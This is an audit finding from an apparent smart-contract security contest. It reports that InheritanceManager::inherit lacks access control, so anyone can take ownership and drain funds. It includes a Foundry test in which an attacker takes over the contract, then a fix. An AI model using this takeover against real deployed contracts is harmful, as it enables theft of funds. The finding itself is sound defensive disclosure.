Inheritable Smart Contract Wallet
First Flight #35
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H-2] Missing access control in `InheritanceManager::inherit` allows unauthorized user to become contract owner

kagen

Description: In InheritanceManager::inherit, there is no access control to prevent an unauthorized user from becoming a contract owner.

function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
owner = msg.sender; // @audit Anyone can take ownership of the contract
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true; // @audit Minor impact, anyone can set this
} else {
revert InvalidBeneficiaries();
}
}

Impact: If there's only one beneficiary, then anyone can become the owner of the contract. At that point, the contract can be drained of funds by calling InheritanceManager::sendERC20 and InheritanceManager::sendETH.

A less severe impact is if there's more than one beneficiary, then the wallet can be set as inherited by anyone.

Proof of Concept:

Add the following unit test to InheritanceManagerTest.t.sol:

function test_unauthorizedUserBecomesContractOwner() public {
address attacker = makeAddr("attacker");
​
// Add user1 as sole beneficiary
vm.prank(owner);
im.addBeneficiery(user1);
vm.warp(1);
​
// Deposit 10 ether into InheritanceManager contract
vm.deal(address(im), 10e10);
​
// Skip ahead 90 days so timelock is expired
vm.warp(1 + 90 days);
​
// Attacker calls inherit() function
vm.prank(attacker);
im.inherit();
​
// Attacker is the owner of InheritanceManager contract
assertEq(attacker, im.getOwner());
}

Run the unit test: forge test --mt test_unauthorizedUserBecomesContractOwner:

Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[PASS] test_unauthorizedUserBecomesContractOwner() (gas: 93431)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.80ms (320.69µs CPU time)

Recommended Mitigation: Implement a modifier that provides the access check to ensure that only beneficiaries can call InheritanceManager::withdrawInheritedFunds.

Add the following modifier to InheritanceManager contract in InheritanceManager.sol:

+ modifier onlyBeneficiary() {
+ bool isBeneficiary = false;
+ for (uint256 i = 0; i < beneficiaries.length; i++) {
+ if (beneficiaries[i] == msg.sender) {
+ isBeneficiary = true;
+ break;
+ }
+ }
+ require(isBeneficiary, "Only beneficiaries can call this function");
+ _;
+ }

Add the modifier to InheritanceManager::inherit:

- function inherit() external {
+ function inherit() external onlyBeneficiary {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!